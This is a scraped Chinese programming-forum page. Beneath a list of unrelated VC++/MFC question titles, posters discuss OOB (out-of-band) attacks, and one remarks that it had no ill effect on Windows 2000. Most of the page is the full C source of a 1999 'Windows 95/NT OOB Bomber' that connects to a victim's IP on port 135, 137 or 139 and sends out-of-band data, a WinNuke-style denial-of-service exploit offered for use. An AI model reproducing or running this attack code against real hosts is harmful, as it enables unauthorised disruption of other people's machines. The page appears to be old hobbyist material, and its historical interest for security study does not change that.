3x
解决方案 »
- OnDraw 与OnPaint 的疑惑
- 菜鸟求助:如何在单文档CHtmlView中追加显示内容 VC6.0
- VS2008 MFC 自绘按钮问题
- windbg调试1.DMP文件,出错,No runnable debuggees error in 'g'
- CFormView嵌入对话框初始化的问题,高手帮帮忙!
- 在VC6.0中是否无法编译通过普通类中的模板成员函数,详见内:
- visual c++技术内幕第四版和第五版有什么区别?
- 请教:如何在VC6中实现VS2010下的 __hook 功能
- 内存泄露
- 请问在画虚线的时候,如果背景是透明的,那么虚线中间的间隙用什么颜色填充?
- 这个算法大伙给我个思路吧,急!
- 谁能提供《vc++编程高手》光盘所附源代码,300百分等着你~~
可以找些资料看看,一句话怎么也不能明白
我这里有OOB攻击的资料
http://bydxj.com.cn/grzy/suker/forum
在2000下试了一下,没什么不良影响呀!
/*****************************************/
/* Windows 95/NT OOB Bomber */
/* by Mr.Janker [email protected] */
/* http://janker.126.com */
/*****************************************/#include <windows.h>
#include <winsock.h>
#include <stdio.h>/* attack the IP Address */
char *IpAddr;/* attack the port is 135 or 137 or 139 */
int IpPort;/* the message will be showed on the victim machine */
char *Msg="You are bombed!";void Banner(void)
{
printf("Windows 95/NT OOB Bomber by Mr.Janker 1999.10.15\n\n");}int main(int argc, char *argv[])
{
struct sockaddr_in sin;
WSADATA wsaData;
SOCKET sd;Banner();if(argc!=3) {printf("Usage : OOB Ip Port\n\nExample: OOB 127.0.0.1 135");
return 1;
}IpAddr=argv[1];
IpPort=atoi(argv[2]); /* Init the Winsock */
if(WSAStartup(0x0101, &wsaData ))
{
printf("Init TCP/IP stack error!");
return 1;
}
if(wsaData.wVersion != 0x0101)
{
printf("Winsock version is incorrect!");
WSACleanup();
return 1;
} /* Create the local socket */
if ((sd = socket (PF_INET, SOCK_STREAM, IPPROTO_IP)) == INVALID_SOCKET) {
printf("Create socket error!");
return 1;
} /* Connect to the victim IP Address */
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=inet_addr(IpAddr);
sin.sin_port=htons((short)IpPort);
if (connect (sd, (struct sockaddr *)&sin, sizeof (sin)) == SOCKET_ERROR) {
printf("Connect the remote IP error!");
closesocket (sd);
WSACleanup();
return 1;
} /* Send the OOB data */
if (send (sd, Msg, strlen(Msg), MSG_OOB) == SOCKET_ERROR ) {
printf("Send data error!");
closesocket (sd);
WSACleanup();
return 1;
}
closesocket (sd); WSACleanup(); printf("Bomb complete!"); return 0;
}